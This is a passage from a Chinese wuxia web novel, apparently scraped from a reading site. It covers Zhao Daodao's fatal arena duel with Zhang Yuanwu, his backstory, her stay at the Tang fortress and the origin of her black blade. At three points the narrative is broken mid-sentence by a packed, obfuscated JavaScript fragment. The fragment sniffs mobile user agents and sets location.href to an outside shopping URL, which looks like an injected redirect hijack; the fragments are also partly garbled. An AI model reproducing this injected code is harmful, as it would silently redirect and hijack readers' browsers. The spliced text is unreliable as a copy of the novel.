张元武感到自己有力竭之相,再不击败赵刀刀,他会白白耗光力气。 他气喘吁吁,没顾自己胡子歪了。既然她不肯离开原地——张元武挥剑靠近,忽地一转手腕横扫而去,她必须出招! 赵刀刀果然离开了一直站定的地方。 她的步法毫无章法,看起来随意凌乱,张元武抓住时机,连续进攻。 赵刀刀只避不攻,用黑刀架住避不开的招式,化了力又流水一样收刀。 张元武提剑上划被她闪开,飞身举剑下劈,就连不会武功的,都能看出他这一剑力若千钧,一剑下去非死即伤,看得人提心吊胆。 赵刀刀手腕一抖,黑刀微斜,啪的一声与长剑相接,顺着剑锋一路划到剑尾,与张元武近身。 寒光映着她的眉眼,直到这会儿,她的眼神还平静无波,张元武看到那双冷酷无情的眸子直勾勾盯着自己,心中一惊,手中一重——被刀身反压剑柄。 他一个疏忽,避之不及,差点扑到在擂台上。 底下的人有些没眼再看了。 心说,行行好,给张大师一些面子吧。 他们活这么久,还没见生死擂台打成这样的。 虽然也……挺好看的就是了。 张元武恨恨地瞪着赵刀刀。 在刚才一个照面的时间,他心中生了退意,但底下的呼声让他惊醒,他明白,今天他只能赢不能输,避无可避! “该死的女人!” 他撤开距离,喘息片刻,大喝一声冲去。 几个来回,他打的面红耳赤,束起的头发散落几缕,衣服有破口,身上的伤口全是被自己的剑气所伤。 但张元武已然陷入了某种癫狂,浑然不觉。 只知道像个初学者一样埋头进攻。 赵刀刀不知何时转守为攻,与他过招,兵器交接声音雷动,响彻擂台。 底下的人议论纷纷。 “这是哪家的弟子?” “这样的人物,怎么从来没有听说过?她到底是谁?” “你听过吗?” “没有。” 有人忽然惊道,“你们看,她那把刀看起来也非比寻常!” 立刻有人附和。 “从来没见过这样的黑刀!” “江湖中谁使黑刀?” 他们没有再谈论张元武。 结果已经不重要了。 结果太明显了。 底下人群中,有一人静静站着,从始至终没有参与讨论,如果赵刀刀仔细回忆,会觉得这人有几分眼熟—— 正是之前晚来客栈出现过的齐姓青年,齐阔。 这次不见跟在他左右的壮汉。 他背着长剑,看到一半,皱了皱眉就离场而去,准备自己的比赛。 如果不是赵刀刀插了位,这一场本该是他。 赵刀刀右手拿刀,凌厉的攻势放缓,故意露出背后破绽。 张元武用尽毕生所学,提剑攻去,而剑尖所到之处,皆有刀身织成密网阻拦。 在这样的招架中,赵刀刀还有工夫缓缓调整身位,黑刀不知何时从身侧举到身前,她直面张元武,淡淡道,“你没招儿了,没什么好看了。” 说着笑了笑。 “那该我了。” 张元武心头一颤,浑身汗毛竖立,不妙! 底下有人惊呼—— 原来之前的过招只是谦让,她真正的刀法比人们看到的更诡,更快! 她好像没有动,但因为那是一把黑刀,还是能捕捉到——有一道黑色的影子,朝张元武掠去。 张元武险险避开,剑身擦过刀锋,手中长剑嗡鸣,颤动不止。 赵刀刀的攻击如狂风骤雨席卷而来,她避开致命处,黑色的锋影中透出殷红,张元武渐渐成了个红色的人,华美的服饰被削成破布挂在身上。 砰的一声,张元武连连后退,撑剑跪地,噗的吐出一口血。 赵刀刀站在两尺外,收起刀势,停下攻击看着他。没有华服美冠,这气度不凡的老头看起来也就是个普通人,既无武者的强健,也无剑士的傲骨。 张元武克制不住地咳了两下,抹开嘴边的血,一抬头就看见她打量的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063172|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 赵刀刀什么都没说。 张元武却觉得她已说尽一切。 她在嘲笑他凄惨的处境,她在嘲笑自己的手下败将,他过往声名,如今皆成她进入武洲的踏脚石! 这道眼神比刀锋更致命,令人心如刀剜,比起衣服,他更气自己尊严尽失的模样。见赵刀刀要转身下台,他原地不动,像是已经放弃。 众人指着张元武,刚准备说话,张大嘴却失了声—— 在她的脚即将踏上边缘之时,他骤然提起全身力量,朝她攻去。 视线中的背影忽然消失了。 黑色的锋刃旋过张元武的周身,有一阵微风,轻柔的拂过张元武的脖子。 张元武在人影消失时顿觉不对,急忙回挡,兵器相交声震得他头脑发昏,他大喝一声格开黑刀,转换身位。 二人分开时张元武伸手蹭了下脖子,竟然没血。 他没有多想。 只有擂台下的观众看到了他脖子上有一条细细的红线,不仔细看根本看不出,伤口太细太小,连血珠也没渗出一滴。 看来这赵刀刀的一击也只是花把式,她总是点到即止,没有杀心,招式的杀伤力不过如此。 有人又发出嘘声,对赵刀刀的装模作样表示不满。 赵刀刀又站在了一开始的地方,提刀而立。 那把黑刀上没有半点血迹。 “你……” 张元武忽然瞪大了眼睛捂住脖子。 先倒下的是他的剑。 那把光彩夺目的美剑没有撑住他的体重,咣当一声摔在地上。 响声一如赵刀刀所想的悦耳。 张元武的脖子看起来还完好无损,但他用一只手紧紧捂住脖子,另一只手去够地上的剑,嘴里想说什么却只能发出气音,“你……” 所有人屏息凝神,有人甚至怀疑张元武是不是没受伤,只是力竭,刚才的刀光实在太快,看不清是否造成伤害,然而过了几息,所有人都看到他脖间慢慢渗出细细的血丝来—— 他砰的一声跪在擂台,身子歪斜倒在地上。 一刀毙命! 更大的寂静笼罩了擂台。 那一刻格外漫长——张元武的眼睛还瞪着赵刀刀的方向,赵刀刀没有回避,也直勾勾盯着他——直到他不可置信又愤恨至极的眼神渐渐涣散。 刻着元武二字的宝剑落在张元武的身畔。 清脆的响声如同雷霆撼动。 擂台周围一瞬间静的掉针声也能听见,下一刻,人群的声音像是烧开的水,又沸腾起来。 宝石的光芒被阴影笼罩。 剑仍是好剑,主人却再无法拿起。 赵刀刀看着他,她听到有人在喊她的名字,本想高举黑刀为自己庆祝,但阳光太过晃眼,那双不瞑目的眼睛竟在一瞬间反射了光线直射她的双眼。赵刀刀皱眉眯眼错开,恍惚间竟透过张元武看到了另一个人的脸。 她看到了自己的师兄,那是一张她又怕又厌的脸,比张元武更年轻,也比他更傲慢。 但师兄从没正眼看过她,他的眼光总是穿过她的头顶落下去,仿佛她并不存在,在师兄眼中,她做什么都无法成功,只会日复一日笨拙的努力,即使他们名义上是师兄妹,她却永远像个外人,永远不会被他们认可。 他们从未像这样一对一决斗过,但分出胜负的场景却时常出现,在人群的呼声中,在师兄弟们轻蔑嘲讽的眼神中,倒下的永远是她。 师兄像一座横在她面前的高山,她只能日复一日活在他的阴影下。 赵刀刀的面庞刹那间失去了所有表情,苍白如纸,又露出古怪的笑容来。 悲伤又喜悦。 8. 声名 下 张元武的名号响亮,但名号不足以让人真正了解一个人。 直到他缓缓倒下,才发现那些名号误导了所有人,包括他自己。 被丢掉的过往里,也曾有过天才少年的故事,但少年不再,天才式微,留下的只是一个不知何时起在唐家擂台边坐了十年的老人。 人们热衷于讨论他的声名。没人知道他如何来到这里,曾经又有什么故事,往事的传言五花八门,他们唯一确定知道的,这就是天下榜上排名第九十九的人,赢了他,就能入榜,但很难。 黑暗降临前的一瞬,张元武没有看到赵刀刀,也没工夫想他华贵的宝剑,他忽然想起了早被自己抛弃的过去。 旧日的景象冲击着大脑,他瞪大了眼睛,想起了一个叫张大能的名字。 他想起那人并不是内城出身的剑士。 他的家乡远在水城千里之外。 算起来也是一座繁华的小城。 父母对张大能的期望全在名字中,他们希望他有大能耐,能成大事,得大成就。 张家只有他一个儿子,整个家所有的爱都压在他身上,从张大能有印象起,几乎每天都是一样的日常,父母整日省吃俭用供他学武,他勤勤恳恳练武,日复一日,年复一年。 所有人都希望他有一日能被大门派选中,成为厉害剑师的座下弟子,闯出一番名堂,不辜负多年苦练。他清楚自己负担了什么,很少叫苦,总是做出懂事的模样,那时候在武馆的时间比在家更多,他也从不抱怨。终于,不负众望,他被选上了。 刚进门派也是一样,两耳不闻身外事,整日勤学苦练。 日子仿佛没有变化,只是换了地方,但他的心却越来越急迫。 在门派里久久看不到出头之日,只能望着师兄师弟们意气风发,他们自小生在武洲长在武洲,家里早画出清晰的未来,只要不过分,总不会太差。 张大能眼睁睁看着那些人练功不如他认真,不如他辛勤,却依旧被师父赏识点拨,他暗自发誓,只要苍天有眼,肯施舍一丝一毫的机会给他,他一定会抓住——终于,他看到了机会。 机缘巧合。 天下榜第九十九的高手身负重伤,他碰巧路过救了他,那人记恩,说要报答他,张元武什么也不要,直到那年天下榜更新,剑客再次出现在他面前,输给了他。 人生竟如此奇妙,在风和日丽的普通一天,他就这样实现梦想,跻身高手之列。 他从门派中的边缘弟子成了炙手可热的中心。 自他被选入门派起,从没有过那样被人关注的日子,仿佛每个人都在看着他,哪怕一个小小的举动,也能轻易引起风潮,无处不在的目光,吹捧激动的神情,只是刚进榜而已,只是九十九,就足以在那个小小门派里光耀门楣。 那是他人生最风光的一段日子,也是他武学的巅峰年华。 因为从那之后,他再也没有像往日一样努力练剑。 酒肉和吹嘘充斥他的心神,他无心安静,只想一生都沉浸在那样的喧闹中。而真正道出告别的时刻,是他在那段时间见了太多世面,决定抛弃自己的名字。 他不知道那个念头是什么时候存在的,只知道它出现的如此自然,不消片刻,他就决定了自己的新名字,张元武。 元字辈乃门派先祖曾用过的名字,那人剑术高超,只可惜没有弟子,他打起了幌子,说要光复门派,于是以武为高,以元为传承。 陪伴了几十年的名字只需一日便可抛弃。世事、心态变化之快,让他不禁感慨,这才是他真正该有的人生。 名利的光环如此鲜亮,照拂不进原来那间破小的茅屋。 张元武改名后回过一次家,他以游历为名,途中突然生出回家的欲望,曾经的日子像一场旧梦,他想看看记忆里的茅屋是否还在。但最终只停留于远在家门之外的渡口,和匆匆赶来的父母寒暄片刻,来不及接下他们回家抱来的包袱,便打着追求更极致剑道的幌子再次告别家乡。 父母苍白头发满脸皱纹,衣着打扮节省到了极致,旁人看来的眼神将他刺痛,仿佛在光天化日之下将他的种种荣耀打回原样,他不能接受那是他的父母。 没人知道那是最后一次告别,从此他不问父母,抛妻弃子,改名换姓。 仿佛洗去了名字,他眼中那些不堪的过去也一并消失。 张元武颇有自知之明。 正是因为他清楚自己的斤两,所以一直像个幽灵一样在武洲外沿游荡。 从不轻易出手。 除非有必胜的把握。 一开始他也整日认真练武。 后来? 后来他发现了一件事—— 没有人会在乎你吃过的苦头,他们只看得见光鲜亮丽的名号。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063173|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这正合他意。 那他就彻底地,光鲜亮丽地以另一个名字活在武洲。 ——直到他倒在台上。 他引以为傲的狡猾手段。 怎么会在上擂台的那瞬间忘了干净呢。 丢掉的名字和过去以这种形式回到身边,留下的没有悔只有恨。 张元五憎恨赵刀刀和她上台后出现的一切。 竟让他想起当年。 张元武瞪大双目,恨笼罩眼眶,却再也看不清一切。 唐家擂台只是进入武洲的第一步,赵刀刀的对决虽然出乎意料,但张元武也不算顶尖高手,有人抱怨着早知如此就押赵刀刀了,引起一片怨声载道。 也有人惊讶过后,终于明悟道,“原来这张元武只敢在这里待而不去内城,是早就想到自己的能力不足了啊!” 应和声此起彼伏,“是啊,估计不是他不能进,而是他不敢去吧!” 底下又哄笑一片。 这些都与赵刀刀无关。 看见张元武第一眼,她就觉得自己会赢。 赢的感觉和她想象的不同,这场比试比山上的争斗更有意思,但好像也仅此而已了。 锵的一声锣响。 裁判宣判道:“第五场第四局——赵刀刀对张元武——赵刀刀——胜!” 底下沉静一瞬,下一刻像是狂欢一般响起了呼喊声。 “赵刀刀!赵刀刀!” “赵少侠!” “真是好刀法啊!” 原来杀人,也会被喝彩吗。 赵刀刀从来没有听过这么多人呼喊自己的名字。 在台上看着台下那些陌生激动的脸庞,某个瞬间,她忽然想要沉醉于这些欢呼。 只有一道声音逆流而上,“呆子。” 那声音低沉微弱,却有将她从梦中叫醒的力量。 于是她只微微笑了笑。 收起了刀就下台了。 “刀刀,我让人去查啦!你知道吗,张元武原来不叫张元武!” 赵刀刀抿嘴轻笑,看着唐雪,“那他叫什么?” “我还没查到呢!可能是他原来的名字没人记住吧,不过我爹都说了,这个肯定就是真的啦,没想到他在唐家擂台上出现了这么多次,会这样落幕。” 唐雪有些惋惜。 “真叫人想不到啊。” 9. 唐家 在赵刀刀动手前,几乎没什么人相信她能赢。 江湖就是这样,有些人看起来弱不禁风,却藏着摧枯拉朽的力量。 尤其站在生死擂上,更不该轻视任何一个对手。 赵刀刀站上擂台,看见张元武使出第一招时心中便有了底——他出剑手腕僵硬下盘虚浮,招式的架子仍在,细节却差了太多,一看便知不是天天练剑的人。交战中张元武身法迟滞,内力不稳,借由剑身传来的气断断续续,像是枯水的河流,赵刀刀与他对上第一招时,竟不合时宜地想问他一句,“您多久没练剑啦?” 她当时真心很想问,但这样的问题过于挑衅,想到台下那么多人,万一张元武有什么后招她没料到,最后自己成了技不如人的一方自讨苦吃,才咽了下去。 赵刀刀知道被人嘲笑、瞧不起是怎样一种感觉,他们说她刀法不够正统,身体太过矮小,说整个尚青山都数不出五个练刀的,她被师父好心收了,却半点不懂得尊师重道,剑法都没练明白就投机取巧妄图另辟蹊径,不知从哪偷学来了刀法,小小年纪就走上歪门邪道,心思深沉,难成大器。 好在宝剑坠地,尘埃落定,潮涌的回声也随之退去。 唉,好好的高手不当,怎么就堕落成了二流角色呢? 赵刀刀终于可以畅快地乱想一通。 她觉得自己实在是个很有操守的刀客,胜券在握都没好意思当面揭短。 台下观擂的人也激动,这场比试出乎意料的有看头,够好玩够热闹。 他们在意名头,在意胜利,倒并不在意到底是谁获胜,谁出名,那些都不重要,重要的是他们亲眼见证,多了谈资。而看榜上高手跌穿谷底这一条,正是最上等的谈资。 周向晚坐在看台上,虽然心里已有预感,但亲眼看到赵刀刀那样轻描淡写地取胜,还是惊得下巴都掉了。 唐雪小跑着前来迎她下台,头上的珠花快跑散了也没工夫扶。 她满心都是钦慕,这会儿更要缠着赵刀刀不放。 后面的擂台没翻出花儿来,虽然坐在场边,唐雪的心思却早就不在擂台,看着赵刀刀飘远。 唐家堡像是自己人赢了一样开心,晚上菜品的水准又翻了几番。 赵刀刀在生死擂上一战成名。 准确来说,小有名气。 毕竟大家都看到了那位据说排名九十九的高手,像黄花儿菜一样被她摧残。 其实今年参加生死擂的比往年好些,有一两场,厉害的高手也不是没有。 主要还是赵刀刀那场的场面过于诙谐。 在场的几乎都学会了那句“再来”。 以至于盖过了其他几位的风头。 这也让有些老人想起了往事。 唐家生死擂台一开始就是这样的,是个以弱制强,不计生死的存在。 是无数无名英杰的辉煌起点。 生死擂台并非只有生死,更多的,还有惺惺相惜、不打不相识的情谊,快意恩仇,才是江湖本色。 它的光彩曾经被掩盖,可赵刀刀之后,必然有更人顺着她的足迹,继续前行。 这些赵刀刀都不知道。 她飘了几天。 美得冒泡。 “赵姑娘原来这么厉害啊!” 这是她那场之后听到最多的话。 不过一开始还挺新鲜。 听多了就有些烦了。 她觉得自己好像师兄从后山抓来的那只猴。 被大家围在一起津津乐道,开心了就逗两下。 随着在唐家堡见过更多人,她发现了一件事,唐门弟子各个都比得过唐雪,也不知道为什么,他们总觉得自家大小姐才是最粘人的那一个,丝毫不看看自己。 热闹消散,赵刀刀飘着飘着,又落在地上练刀了。 正好洗干净的旧衣服也被寄到唐家堡了,赵刀刀高兴地换上。 唐雪总是嫌弃她那件黑衣服,说自己已经差人去定做了好几身新衣服。 要不是恩人不喜欢首饰,唐雪必定要一套行头搭配齐全。她打小就爱打扮,爱打扮自己,更爱打扮别人,可惜唐二长得太快,没陪她玩儿太久就学会偷溜了,现在好不容易出来个赵刀刀,她的心思又活络起来,生出雄心壮志——她唐雪要承包恩人的所有行头,让恩人比话本里的大侠还要风光! 不过雄心壮志刚开始就卡在了恩人这头——赵刀刀没好意思要。 无功不受禄嘛。 要是她接了衣服,拿人手短,唐大小姐不就有理由逼她留在唐家堡了。 赵刀刀丝毫不为外物所动,觉得自己离大侠又进一步。 赵刀刀和周向晚在唐家堡住了几天,比下山那会儿白回来了点。 她还知道了两件事。 第一件,是她自己发现的。 她在唐家堡偶然遇到了一些人,初看似曾相识,越看……越眼熟! “……” 赵刀刀真的很想拔刀。 这不就是那天晚上救唐雪时被她打晕的追兵吗? 那些人一开始还装成没见过她不认识的样子,见她发现了,不能蒙混过关,才挠挠脑袋,颇有礼貌地腼腆道;“赵姑娘,那天晚上……真是多有得罪啦。” “哦。” 赵刀刀皮笑肉不笑。 不想原谅他们。 于是她后来连着几天都特意挑唐家弟子们练武的时候带上唐雪过去围观,自己抱臂冷笑着站在一旁。 看着他们禁不住她沉重的视线,频频出错的样子。 真是有够好笑呢。 第二件,是唐堡主告诉她的。 他说,在唐雪乐此不疲的游戏里,有人是真的想救唐雪,但更多的人是真想劫走唐雪来要挟些什么。 后者,赵刀刀表示理解,她是个有见识的大侠,这帮人她也曾有幸见过一些。 前者,唐堡主提了她。 虽然唐堡主没有明说,但赵刀刀心思细腻,当时就隐约觉得不对。 那天晚上入睡前她忽然灵光乍现——唐堡主怎么就提了她?该不会救过唐雪的,这么久以来,只数得出她一个冤大头吧? 总之。 唐堡主为了这个宝贝女儿,一直很伤脑筋。 但是女儿大了,管也管不住,打又舍不得,关起来吧,唐家的手段她从小耳濡目染,也关不住。 直到——赵刀刀出现了。 唐堡主也开始将信将疑了,唐雪话本里那种踩着祥云来实现愿望的大侠,不会真的存在吧? 可惜赵刀刀不知道。 如果她知道——赵刀刀一定会希望唐堡主能够一直坚持自己,不要轻易为了女儿改变观念。 不过也可以不改变了,唐堡主心想。 因为唐家堡最大的麻烦,被解决了。 唐堡主以前还经常忧愁,女儿到了要知事的年纪,不肯乖乖出去游历怎么办。 现在看来,真是好人有好报,天无绝人之路啊。 唐堡主殷切地看向赵刀刀。 “……” “唐堡主,”赵刀刀干笑两声,问,“您找我来是有事要说?” 说实话,待得越久,她越发觉得,唐家堡的每个人,还真的都不比唐雪好到哪儿去。 唐堡主的声音浑厚有力,“小女给你添麻烦了。” 赵刀刀没有背后说人坏话的毛病。 其实想想,除了粘人,唐雪倒也没什么大毛病。 “都是小事。”她说。 唐堡主微笑道,“唐家也有荣华富贵,但依我之见,姑娘想要的不止于此,是吗?” 他的声音沉稳有力,多年上位者的姿态没有使他变得尖锐傲慢,反而磨砺出柔和的威严,他是个慈祥的老者。 赵刀刀没见过脾气这么好的老头。 他的目光有股看透人心的力量,赵刀刀心头一震,不敢怠慢。 “嗯,我不会留在唐家堡,接下来要去内城的。” 她想了想又说,“得先去柳城。” 唐家主点点头,没有多言。 转而说起另一件事。 “小女……也到了该外出游历的年纪。”他接着道,“赵姑娘……如果要走,不如带上小雪吧。” “……” 赵刀刀幻想了一下那样的光景,感觉风穿堂而过,有点寒了,吹得骨头缝里冷。 唐堡主看她没有说话,无意让她太过为难,就开始提起了好处。 什么唐家遍布武洲的客栈随便住。 什么舒适宽敞的马车唐家有,还能承包他们一路所需的骏马。 什么出门在外,吃穿不愁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063174|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> …… 一说说了很久。 到后来。 赵刀刀不是不答应——她只是惊呆了。 他给的实在太多了。 赵刀刀忽然意识到,原来——她不是冤大头啊! 这就是富贵人家的生活吗? 赵刀刀心动了。 唐堡主说了很久,停下来喝口茶,还在看着她。 赵刀刀象征性的纠结了一下,就答应了。 她看到唐堡主眼神好像亮了下,竟然有几分狡黠。 “……” 应该是错觉吧,她想。 唐堡主雷厉风行,立刻派人去收拾行李。 他说:“那就一周后启程吧。” 到最后,他也没要求去哪儿。 看样子是要赵刀刀自由发挥了。 赵刀刀的脑子从赠品堆里清醒过来的时候,她才意识到,自己这是成了大小姐的向导加护卫加侍女啊! 她又感到了一些压力。 唯有看到唐家弟子跑来跑去为唐雪收拾出门行李的时候,她才开心一些。 或许是知道自己将要离家,唐雪也没有整天粘着赵刀刀了,她经常去找唐堡主和其他弟子说话,整天见不到人影。 临行前一晚的酒宴。 唐堡主看着自己的女儿。 不知道是第几次叮嘱,“小雪,你可要跟好赵姑娘了。” 唐雪乖巧应道,“爹,我知道的,你不用担心我。” 唐堡主又对赵刀刀说,“实在是劳烦赵姑娘了。” 赵刀刀想到自己现在好说歹说也算是个排得上号的高手了,端着一股劲,矜持地点了点头。 觥筹交错,虽然是道别宴,却没有太多的离别伤感。 有很多人凑到唐雪的身边。 他们一起长大,亲如兄弟。 他们说笑嬉闹。 “这一去大小姐可别半路想家哭着要回来啊!” “唐二你再说一遍?” “别太给赵姑娘添麻烦。” “还用你说吗?!” “其实我也一直想出去看看,就是还没到年纪,大小姐,你看到什么回来可别忘了给我们几个分享啊!” “那是当然,就算出去了,我肯定还会经常寄信回来的。” …… 赵刀刀看着那么多的唐家弟子。 他们只觉得这是一件寻常事,游历,磨练,归来。 他们喝酒吃肉,潇洒地饯别。 就连周向晚也融入其中,悠悠地扇着扇子,沉溺于美酒。 和他的新酒友一起。 真好啊。 到这时候,赵刀刀还不知道自己到底要去哪,又要带着唐雪去哪。 还有,觊觎她刀的酒鬼又要跟去哪。 她有些醉了。 指尖搭上自己的黑刀。 轻轻摩挲着。 她有些恍惚。 十几年来,赵刀刀的心中只有一个方向,就是下山。 下山去哪儿呢?她没有想过。 即使这个问题还没有明晃晃地摆在她眼前,她已然有一丝忧虑了。 停杯投箸不能食,拔刀四顾心茫然。 好像自始至终,她都没有归处。 赵刀刀摇了摇头,试图甩开那些情绪。 颇有成效。 她安慰自己道——果然,还是吃的太饱了。 到尽兴才散席。 酒足饭饱,合该睡觉。 是夜。 漆黑深夜。 唐家堡除了巡逻的守卫。 都已经入睡。 各个厢房里只有轻轻的鼾声和呼吸声。 没有脚步声。 有人伸手探去—— 什么也没有。 连床褥都是凉的。 他意识到不对,立刻准备离开。 “你干什么不好。” 声音不是从床上发出的。 黑夜中来人惊慌一瞬,又佯装淡定。 烛火被点亮了。 赵刀刀的半边脸忽明忽暗,映的她眼睛发红,面色发白,像个已经在暗处藏了很久的恶鬼。 大晚上的突然出声吓人还不够。 她接着幽幽道,“来偷我的刀?” 10. 妒火 赵刀刀第一次遇到这把刀是在山上的宝库里。 那年她七岁。 那个被叫做师父的严肃老头突然差人把她叫过去,看了她一会儿说,去挑一件武器吧。 赵刀刀很激动,她也有事想问他很久了—— 她想知道自己到底叫啥。 周围的人都叫她赵孤娘。他们说,她没有名字,一个孤儿要什么名字啊,能被捡回来有吃有喝的活着已经走大运了。 她是不信的,人人都有名字,凭什么她就没有呢。 可她再梗着脖子追问,那群人就说,“楚天师捡你回来的,有本事你就找楚天师问去啊!” 谁不知道未经通报私闯这老头的地盘是能死人的事。 更何况赵刀刀还见过他一言不合体罚弟子的场面,他连看都不看,随手一挥袖就转身走了,都不知道那弟子被挂在悬崖上吊了多久,拉回来之后整个人魂儿都没了,软成泥瘫了好久都没缓过劲。 就这样,还得按时来听他的课。 太可怕了。 赵刀刀怂了。 没名字就没吧,她才不要为了名字丢掉小命。 只有在讲习的时候,她才能远远地看到这个须发皆白,冷漠高大的老头。 他一贯谁都不看,赵刀刀还以为他早就忘了自己以前捡了个人这回事呢。 没想到还有想起她的一天。 即使被要求跟在他的身后,她都时刻警惕着不敢靠近太多。 “磨蹭什么?跟上!”楚天师在洞门前冷声呵斥。 “哦,是!”赵刀刀连忙低着头跟近些。 门口的守卫恭恭敬敬,她小心翼翼地抬头,看见楚天师连钥匙都不拿,就推开了那扇她以为至少有十八道锁的大门。 “!” 她听说这是只有内门弟子才能进来的地方,原来她——也是内门弟子?! 赵刀刀这才觉得,她该不会是个傻子吧?怎么这都能不知道呢?可她仔细回想,也半点想不起来有人告诉过她这回事的记忆。 她要是内门弟子,怎么会什么都没有呢? 来不及细想,吱呀一声—— 赵刀刀第一次走进了那个她以为闪着金光的富贵山洞。 她心头的火霎时被一盆凉水浇灭。 失望了。 根本没有散落满地的金银珠宝,洞穴里一点儿也不亮如白昼,更没有香气弥漫的奇珍异草。 只有一把把刀枪剑戟插在那些黑色的岩石中。 唯一符合她的想象的,是洞顶零星点缀着的几颗夜明珠。 她看着那些黯淡的珠子,觉得自己还不如不进来。 山洞里有一股奇怪的味道,而且很热,就更让人难耐,进来待了不到两秒赵刀刀就已经满头大汗,呼吸也费力万分,像是大夏天还把人死死捂在厚厚的棉被里。 赵刀刀觉得自己待久了会窒息,可她完全不想最后被抬着出去。 太丢人了。 楚天师停在一处不走了,他说,“去挑一把。” 赵刀刀一愣,“什么?” 楚天师没有看向她,沉声问,“门派里的规矩没人和你说过?” 她刚想回答,楚天师又说,“去挑个喜欢的。” “哦。” 赵刀刀行过礼,越过天师继续向前。 她不敢伸手扶周围那些高至她腰间的铁索,但每走一步都气喘吁吁像是爬了很久的山,只能不太明显地撑着自己的腿缓一会儿。 赵刀刀觉得自己太弱了,像楚天师就什么事儿都没有,负手而立,仙风道骨的停在原地。 她觉得,这些刀剑也是她见过最难看的刀剑了。它们光秃秃的,除了本身的纹路,什么也没有。 连锋芒也看不见。 她眼皮上都在淌汗,睫毛被汗水沾湿变得很重,汗水落在眼睛里会疼,就眯着眼睛到处看,一路走一路看,都没意识自己走了多久。 直到一抹幽光折进了她的眼睛。 “?” 她眨了眨眼,看过去,一片黑,什么也没有。 她又把眼睛睁大些。 还是什么都没有。 她揉了揉眼睛,心想,自己不会出了这儿就瞎了吧。 然而她刚往前两步,又看到那地方闪了下。 “?” 她心中疑惑,看了看周围,鬼使神差地扒着翻过拦路的铁索,向那个方向走去。 “你在做什么?”楚天师的声音突然惊醒了她。 赵刀刀看清了,那是一把刀。 她这时候才感觉到自己的脚像是踩在火上,滚烫的气温已经把她的衣服烧的卷起了边儿。 脚痛的要命。 “嘶——” 她还没多看一眼,就被楚天师拎着带回来了。 她这才想起来,顾不得疼解释道,“我刚在看那把刀。” 楚天师低头看她,目光却像是穿过她看向了地面,他问,“挑好了?” “啊——”她低声呼痛,只想找个地方坐下看看自己的脚。脑子里却不停浮现那把黑色的刀,黑漆漆的,也不是很好看。 也就勉强比别的好看一点点吧。 她回答,“是,就是那个黑色的刀。” 她已经能分清刀剑的模样,满脑子都在想,不知道拿着这把刀还能不能继续练下去剑法,黑刀好像和她的木剑差了太多,但这里只教剑法啊……但她也想要黑刀……她没想到自己七岁就能遇到这样的难关,老天怎么也这么爱捉弄她,她又疼又急,想哭却不肯哭,习惯了低着头强忍着咽下泪意。 楚天师点了点头,没注意到她的不对,叫外面守着的人进来,说了两句,就让她先回去。 但她还有一件事想问,过了今天,可能以后都不再有机会了。 “师……师父。” “嗯?” “您知道我的名字吗?” 赵刀刀有些忐忑,然而楚天师只说。 “你叫什么那是你的事,何必来问我。” “哦。” 赵刀刀太痛了,也不能多留,她行礼之后走了两步,就跑到林子里去了。 她捂住嘴小声呼痛,一屁股坐到地上,脱了鞋看自己的脚——光滑如初,仿佛那些疼痛都是幻觉。 “不应该啊……” 还是很疼。 她蜷缩了会儿,克制着呼了一口长气,低喃着,“算了,没事就行。” 慢慢把鞋穿好。 抱着自己在地上打了好一会儿滚。 等不太疼了,才站起来,把身上的土和草叶拍掉,往住处走去。 第二天赵刀刀的房里就多了一把刀。 “!” 她头一回醒来这样开心,往日的阴霾一扫而空,这是她收到的第一件礼物,也是她最爱的一件,这一刻,她觉得世上没人比她更幸福。 赵刀刀飞快地穿好衣服抹了把脸,兴冲冲地看了那把黑刀好一会儿,然后伸手去拿—— “嗯?” 她拿不动。 寻常刀剑十斤以内,赵刀刀曾轻松举过二十斤的,她从来没想过自己会被难倒在这里。 她又试了试。 用尽力气,刀还在刀架上稳如泰山。 “这么重吗?” 她的高兴一扫而空。 但因为喜欢,哪怕举不起她也天天看,没事就看,这是一把她找到的独属于她的刀,从这一天起,她有了想做的事,她要找到一种刀法,用这把刀。 日子有了盼头就好过起来,她也终于下定决心,告别了赵孤娘这个别人喊出来的外号,给自己起了名,她会永远记住这个崭新的自己,永远记住这把刀。 她以刀为名。 那个提不起刀的早上赵刀刀至今记忆犹新。 能与之相比的只有那个刀出声说话的晚上。 那一年她十岁。 她当时太想要个朋友了。 什么都好,能陪她说说话就行。 在赵刀刀知道自己是内门弟子之后,跑来奚落她的人都少了很多。 虽然她也不太喜欢那些人。 不过一个人练功,总会生出许多其他的烦恼。 她不是个话多的小孩,但那一点点的忧愁,她也想找个地方排解。 她不知道能对谁说。 剑谱上不准乱涂乱画。 屋子的墙壁花了也会被教训。 悬崖边还总是有师兄师姐占着不走。 于是,赵刀刀就抱着刀自言自语了一段日子。 